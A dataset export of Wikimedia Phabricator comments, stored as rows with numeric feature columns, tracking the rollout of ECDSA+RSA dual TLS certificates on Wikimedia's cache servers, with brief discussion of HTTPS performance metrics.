For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)"
450131,HTTPS performance & UA adoption metrics,"Thanks for creating this task. It would be even nice if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. With its current definition the task is too vague, it may range from few hours of work to add some graph for existing data to years of work for entire university departments.  :)

For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)",,,1430201510,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,1,True,,,-10,True,2.5,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,11.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,1.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.5,0.0,23.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,2.0,4.0,0.5,1.5,4.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,11.0,0.5,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.967509920634921,0.7157738095238095,"Thanks for creating this task. It would be even nice if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. With its current definition the task is too vague, it may range from few hours of work to add some graph for existing data to years of work for entire university departments.  :)

For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)"
450129,HTTPS performance & UA adoption metrics,"Thanks for creating this task. It would be even nice if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. :)

For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)",,,1430201131,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,1,True,,,-10,True,2.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,27.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,7.0,1.0,2.0,7.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.9130434782608696,0.6413043478260869,"Thanks for creating this task. It would be even nice if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. :)

For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)"
86654,Switch to ECDSA hybrid certificates,"For performance reasons, we should switch to ECDSA Hybrid (= signed by an RSA CA) certificates for our projects. This will bring us performance benefits, both in terms of RTTs and CPU usage.

Since we now do SNI and the set of browsers that support SNI & ECDSA is the same (which we should double-check), we can safely do this with a wide UA impact and without hurting any non-compatible UAs, as long as we keep our fallback ""unified"" certificate RSA.

This is blocked on availability of those certificates, as most CAs do not sell them yet. Our new CA provider, GlobalSign, had previously gave us a Q1 2015 ETA for these, right before we picked them. I asked our representative last Tuesday (and again today) to confirm that they're still on track for this.",Medium,50.0,1421158023,1436814123.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-chcedpjjo66iq6kl5u54,task_description,resolved,True,c3,1,True,False,True,-25,True,0.5,0.0,0.0,0.5,0.5,5.5,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,7.5,0.0,6.0,11.0,0.0,0.5,1.0,1.0,0.0,2.0,0.5,0.0,0.0,0.5,0.5,0.0,4.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,2.0,2.5,0.5,0.0,0.0,0.0,0.5,0.5,13.0,2.5,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,2.5,1.0,13.5,1.0,2.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,9.0,11.0,7.5,0.0,1.0,0.0,9.0,0.0,1.0,1.5,2.5,0.5,0.0,0.5,0.0,3.8409364649202047,0.8037488708220415,"For performance reasons, we should switch to ECDSA Hybrid (= signed by an RSA CA) certificates for our projects. This will bring us performance benefits, both in terms of RTTs and CPU usage.

Since we now do SNI and the set of browsers that support SNI & ECDSA is the same (which we should double-check), we can safely do this with a wide UA impact and without hurting any non-compatible UAs, as long as we keep our fallback ""unified"" certificate RSA.

This is blocked on availability of those certificates, as most CAs do not sell them yet. Our new CA provider, GlobalSign, had previously gave us a Q1 2015 ETA for these, right before we picked them. I asked our representative last Tuesday (and again today) to confirm that they're still on track for this."
491503,Switch to ECDSA hybrid certificates,"Change 224728 merged by BBlack:
Port Filipe da Silva's multicert patches, bump libssl to 1.0.2

[[https://gerrit.wikimedia.org/r/224728]]",,,1436914960,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.88,0.92,"Change 224728 merged by BBlack:
Port Filipe da Silva's multicert patches, bump libssl to 1.0.2

[[GERRIT_URL]]"
491497,Switch to ECDSA hybrid certificates,"Change 224728 had a related patch set uploaded (by BBlack):
Port Filipe da Silva's multicert patches, bump libssl to 1.0.2

[[https://gerrit.wikimedia.org/r/224728]]
",,,1436913911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.78125,0.90625,"Change 224728 had a related patch set uploaded (by BBlack):
Port Filipe da Silva's multicert patches, bump libssl to 1.0.2

[[GERRIT_URL]]
"
491020,Switch to ECDSA hybrid certificates,"This is done for the primary unified cert on the cache clusters now.  At some later point we may want to go ECDSA+RSA for some of our minor certs on individual apaches, and/or the wmfusercontent.org and planet certs on misc-web, but that can be a separate task/discussion.",,,1436814116,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,4.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.035714285714286,0.8392857142857143,"This is done for the primary unified cert on the cache clusters now.  At some later point we may want to go ECDSA+RSA for some of our minor certs on individual apaches, and/or the wmfusercontent.org and planet certs on misc-web, but that can be a separate task/discussion."
490165,Switch to ECDSA hybrid certificates,"I'm going to be out on vacation starting Friday the 17th, and I also probably shouldn't turn on ECDSA just before the weekend today either.  That leaves Monday (13th) morning US-time as a good spot for deploying this, so I'll get 4 weekdays to observe before leaving related things on hold for a week or so.",,,1436547536,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,6.0,0.0,10.0,18.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,18.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.7058823529411766,0.8235294117647058,"I'm going to be out on vacation starting Friday the 17th, and I also probably shouldn't turn on ECDSA just before the weekend today either.  That leaves Monday (13th) morning US-time as a good spot for deploying this, so I'll get 4 weekdays to observe before leaving related things on hold for a week or so."
490157,Switch to ECDSA hybrid certificates,Updated the packages on cp1065 for some live-testing of just that part.,,,1436546943,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Updated the packages on cp1065 for some live-testing of just that part.
490134,Switch to ECDSA hybrid certificates,"Now that all of the other supporting work is merged in puppet, cp1008 aka ""pinkunicorn.wikimedia.org"" now has a fully-puppetized test of ECDSA+RSA as of: https://gerrit.wikimedia.org/r/#/c/224012/3/modules/role/manifests/cache/ssl/unified.pp

The remaining steps to enable on the rest of the cache cluster are, essentially:
1. Install our new `openssl-1.0.2d-1~wmf1` + `nginx 1.9.2-1+wmf3` packages (they're already in reprepro as upgrades for these machines, just haven't done ""apt-get -y upgrade"" since).
2. Switch on dual certs in unified.pp for all (as with the cp1008 testing commit above).",,,1436544705,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,1.5,0.0,0.5,0.5,1.0,2.5,0.0,0.0,0.0,0.0,5.0,2.0,0.5,0.0,0.0,0.5,0.5,6.5,13.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,5.5,1.5,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.5,13.0,3.0,0.0,3.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,3.5,3.816763425253991,0.8379898403483309,"Now that all of the other supporting work is merged in puppet, cp1008 aka ""pinkunicorn.wikimedia.org"" now has a fully-puppetized test of ECDSA+RSA as of: URL

The remaining steps to enable on the rest of the cache cluster are, essentially:
1. Install our new CODE + CODE packages (they're already in reprepro as upgrades for these machines, just haven't done ""apt-get -y upgrade"" since).
2. Switch on dual certs in unified.pp for all (as with the cp1008 testing commit above)."
490132,Switch to ECDSA hybrid certificates,"Now that all of the other supporting work is merged in puppet, cp1008 aka ""pinkunicorn.wikimedia.org"" now has a fully-puppetized test of ECDSA+RSA as of: https://gerrit.wikimedia.org/r/#/c/224012/3/modules/role/manifests/cache/ssl/unified.pp

The remaining steps to enable on the rest of the cache cluster are, essentially:
1. Install our new `openssl-1.0.2d-1~wmf1` + `nginx 1.9.2-1~wmf3` packages (they're already in reprepro as upgrades for these machines, just haven't done ""apt-get -y upgrade"" since).
2. Switch on dual certs in unified.pp for all (as with the cp1008 testing commit above).",,,1436544663,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,1.5,0.0,0.5,0.5,1.0,2.5,0.0,0.0,0.0,0.0,5.0,2.0,0.5,0.0,0.0,0.5,0.5,6.5,13.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,5.5,1.5,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.5,13.0,3.0,0.0,3.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,3.5,3.816763425253991,0.8379898403483309,"Now that all of the other supporting work is merged in puppet, cp1008 aka ""pinkunicorn.wikimedia.org"" now has a fully-puppetized test of ECDSA+RSA as of: URL

The remaining steps to enable on the rest of the cache cluster are, essentially:
1. Install our new CODE + CODE packages (they're already in reprepro as upgrades for these machines, just haven't done ""apt-get -y upgrade"" since).
2. Switch on dual certs in unified.pp for all (as with the cp1008 testing commit above)."
489829,Switch to ECDSA hybrid certificates,"Change 224011 merged by BBlack:
Add ecc-uni.wikimedia.org cert

[[https://gerrit.wikimedia.org/r/224011]]",,,1436500445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.5,0.875,"Change 224011 merged by BBlack:
Add ecc-uni.wikimedia.org cert

[[GERRIT_URL]]"
489828,Switch to ECDSA hybrid certificates,"Change 224011 had a related patch set uploaded (by BBlack):
Add ecc-uni.wikimedia.org cert

[[https://gerrit.wikimedia.org/r/224011]]
",,,1436500421,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.173913043478261,0.8695652173913043,"Change 224011 had a related patch set uploaded (by BBlack):
Add ecc-uni.wikimedia.org cert

[[GERRIT_URL]]
"
487709,Switch to ECDSA hybrid certificates,"Change 222067 merged by BBlack:
tlsproxy: multi-cert support, including ocsp

[[https://gerrit.wikimedia.org/r/222067]]",,,1436242090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,3.8181818181818183,0.8636363636363636,"Change 222067 merged by BBlack:
tlsproxy: multi-cert support, including ocsp

[[GERRIT_URL]]"
484900,Switch to ECDSA hybrid certificates,"The necessary packages are now in jessie-wikimedia repo: (openssl-1.0.2c-1 in backports, nginx-1.9.2-1+wmf2 in main).  We're not deploying these to prod machines until we're further along with the rest of the plan, though.",,,1435757322,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,15.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.1521739130434785,0.8478260869565217,"The necessary packages are now in jessie-wikimedia repo: (openssl-1.0.2c-1 in backports, nginx-1.9.2-1+wmf2 in main).  We're not deploying these to prod machines until we're further along with the rest of the plan, though."
484764,Switch to ECDSA hybrid certificates,"Change 222067 had a related patch set uploaded (by BBlack):
tlsproxy: multi-cert support, including ocsp

[[https://gerrit.wikimedia.org/r/222067]]
",,,1435736164,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.7241379310344827,0.896551724137931,"Change 222067 had a related patch set uploaded (by BBlack):
tlsproxy: multi-cert support, including ocsp

[[GERRIT_URL]]
"
483995,Switch to ECDSA hybrid certificates,"Tested OCSP Stapling this evening as best I can: my test env was the latest stable FF release on Mac with strict OCSP prefs set.  If I disabled stapling at the server completely, I could verify with a sniffer that it fetched OCSP from GlobalSign directly when I hit pinkunicorn after a fresh browser start, every time.  With the dual-cert stapled response built in either order (RSA first or ECDSA first), FF did not fetch OCSP info from GlobalSign, and also did not give an error.  Works for me :)

I'm basically satisfied with the tested raw setup at this point (it's also testing some DHE/ciphersuite stuff, but that's unrelated).  Blocking work for putting this on live caches is now:
1. Put a real nginx-1.9.2-1+wmf2 build into reprepro, built cleanly on the jessie-wikimedia openssl-1.0.2c-1 backport (some minor issues with backports + copper + git-pbuilder to sort out)
2. Some puppetization issues to sort out (essentially, upgrade the ""sslcert"" concept to an ""sslcertset"" concept of related certs for OCSP + nginx config)
3. Wait till we're done with the initial perf measurement period on non-SNI RSA-unified config, due to happen on live caches this week.",,,1435637444,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,8.666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.0,5.0,11.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,15.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,0.6666666666666666,10.0,1.0,2.3333333333333335,7.666666666666667,0.0,0.3333333333333333,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,3.3333333333333335,11.0,5.666666666666667,0.0,1.6666666666666667,0.0,3.3333333333333335,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.6666666666666666,3.911598776056607,0.7878657487091222,"Tested OCSP Stapling this evening as best I can: my test env was the latest stable FF release on Mac with strict OCSP prefs set.  If I disabled stapling at the server completely, I could verify with a sniffer that it fetched OCSP from GlobalSign directly when I hit pinkunicorn after a fresh browser start, every time.  With the dual-cert stapled response built in either order (RSA first or ECDSA first), FF did not fetch OCSP info from GlobalSign, and also did not give an error.  Works for me :)

I'm basically satisfied with the tested raw setup at this point (it's also testing some DHE/ciphersuite stuff, but that's unrelated).  Blocking work for putting this on live caches is now:
1. Put a real nginx-1.9.2-1+wmf2 build into reprepro, built cleanly on the jessie-wikimedia openssl-1.0.2c-1 backport (some minor issues with backports + copper + git-pbuilder to sort out)
2. Some puppetization issues to sort out (essentially, upgrade the ""sslcert"" concept to an ""sslcertset"" concept of related certs for OCSP + nginx config)
3. Wait till we're done with the initial perf measurement period on non-SNI RSA-unified config, due to happen on live caches this week."
483223,Switch to ECDSA hybrid certificates,">>! In T86654#1408481, @JanZerebecki wrote:
> Thanks.
> 
> Btw. cloudflare had again disabled ECDSA since quite some time. No comment from them in their blog. Any idea if there where other reasons besides the compatibility problems from T86654#1340042?

I'm really not sure to be honest, and like you said they don't seem to have spoken publicly about it.  The compatibility issues were with ECDSA-only setups, and elsewhere [[ https://github.com/igrigorik/istlsfastyet.com/issues/38#issuecomment-52538316 | they mentioned they had patched their servers for multi-cert ]] (probably similar to the patches we're trying out now).  While https://blog.cloudflare.com does not seem to be dogfooding ECDSA, in a [[ https://blog.cloudflare.com/universal-ssl-be-just-a-bit-more-patient/ | later blogpost about Universal SSL rollout ]] they mentioned a particular customer's site to check out the new setup on here: https://ciaranmcnulty.com/ , and when I test that I do see ECDSA with a NIST P-256 key in use there.

I tested a few other major sites with s_client: twitter doesn't have ECDSA either, but google and facebook both do (using P-256 as well).",,,1435523547,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0.5,0.0,0.0,0.0,2.0,5.0,1.0,0.0,0.0,0.0,2.5,2.0,0.0,0.5,0.0,3.0,0.5,9.5,10.0,0.0,2.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.5,1.5,0.5,1.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,13.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,4.0,1.5,13.0,1.5,3.0,4.5,0.0,0.0,0.0,0.0,5.0,0.5,0.5,0.0,6.5,10.0,6.0,0.0,0.0,0.0,6.5,0.0,0.5,2.5,0.0,1.5,0.0,0.0,1.0,3.6104417670682727,0.7605421686746988,"QUOTE
QUOTE
QUOTE
QUOTE

I'm really not sure to be honest, and like you said they don't seem to have spoken publicly about it.  The compatibility issues were with ECDSA-only setups, and elsewhere [[ URL | they mentioned they had patched their servers for multi-cert ]] (probably similar to the patches we're trying out now).  While URL does not seem to be dogfooding ECDSA, in a [[ URL | later blogpost about Universal SSL rollout ]] they mentioned a particular customer's site to check out the new setup on here: URL , and when I test that I do see ECDSA with a NIST P-256 key in use there.

I tested a few other major sites with s_client: twitter doesn't have ECDSA either, but google and facebook both do (using P-256 as well)."
483208,Switch to ECDSA hybrid certificates,"Thanks.

Btw. cloudflare had again disabled ECDSA since quite some time. No comment from them in their blog. Any idea if there where other reasons besides the compatibility problems from T86654#1340042?",,,1435514668,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,11.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,11.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,4.675675675675675,0.8918918918918919,"Thanks.

Btw. cloudflare had again disabled ECDSA since quite some time. No comment from them in their blog. Any idea if there where other reasons besides the compatibility problems from T86654#1340042?"
483101,Switch to ECDSA hybrid certificates,"Also, after writing all of the above, I feel it's important to reference xkcd's wisdom on this topic as well as a counterpoint: https://xkcd.com/538/ :)
